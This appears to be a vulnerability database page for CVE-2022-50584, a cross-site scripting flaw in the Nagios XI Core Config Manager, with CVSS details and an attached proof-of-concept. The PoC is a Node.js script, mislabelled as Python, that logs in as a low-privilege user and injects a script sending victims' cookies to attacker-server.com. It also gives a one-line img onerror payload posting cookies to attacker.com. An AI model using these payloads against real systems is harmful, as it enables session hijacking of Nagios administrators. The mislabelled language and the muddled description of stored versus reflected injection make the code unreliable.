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CVE-2022-50584 CVSS 5.4 MEDIUM

CVE-2022-50584

Published: 2025-10-30 22:15:42
Last Modified: 2025-11-06 18:19:45

Description

The Core Config Manager (CCM) in Nagios XI versions prior to CCM 3.1.6 / Nagios XI 5.8.8 contains a cross-site scripting (XSS) vulnerability via the search and deletion interfaces. Insufficient validation or escaping of user-supplied input may allow an attacker to inject and execute arbitrary script in the context of a victim's browser.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:* - VULNERABLE
Nagios XI < 5.8.8
Nagios XI CCM < 3.1.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2022-50584 PoC - Nagios XI CCM XSS via Search Interface // This PoC demonstrates the stored XSS vulnerability in Nagios XI CCM const axios = require('axios'); const cheerio = require('cheerio'); // Configuration const TARGET_URL = 'http://target-nagios-xi.local'; const ATTACKER_USERNAME = 'low_privilege_user'; const ATTACKER_PASSWORD = 'user_password'; // XSS Payload - Cookie Stealer const XSS_PAYLOAD = `<script> // Steal admin cookies and send to attacker server fetch('http://attacker-server.com/steal?cookie=' + btoa(document.cookie)); </script>`; async function exploit() { console.log('[*] Starting CVE-2022-50584 exploitation...'); // Step 1: Login as low-privilege user const loginPage = await axios.get(`${TARGET_URL}/nagiosxi/login.php`); const nsp = loginPage.data.match(/nsp=\d+/)[0]; const loginResponse = await axios.post(`${TARGET_URL}/nagiosxi/login.php`, `username=${ATTACKER_USERNAME}&password=${ATTACKER_PASSWORD}&nsp=${nsp}`, { maxRedirects: 0, validateStatus: (status) => status === 302 } ); const cookies = loginResponse.headers['set-cookie']; console.log('[+] Logged in successfully'); // Step 2: Inject XSS payload via CCM search interface const ccmSearchUrl = `${TARGET_URL}/nagiosxi/config/contact?search=${encodeURIComponent(XSS_PAYLOAD)}`; await axios.get(ccmSearchUrl, { headers: { Cookie: cookies.join(';') } }); console.log('[+] XSS payload injected via search interface'); // Step 3: Trigger the vulnerability when admin views the page console.log('[*] Waiting for admin to access the page...'); console.log('[+] Payload stored: XSS will execute when admin visits CCM search page'); } exploit().catch(console.error); // Alternative: Direct XSS Payload for manual testing // <img src=x onerror="fetch('http://attacker.com/steal?c='+btoa(document.cookie))">

References

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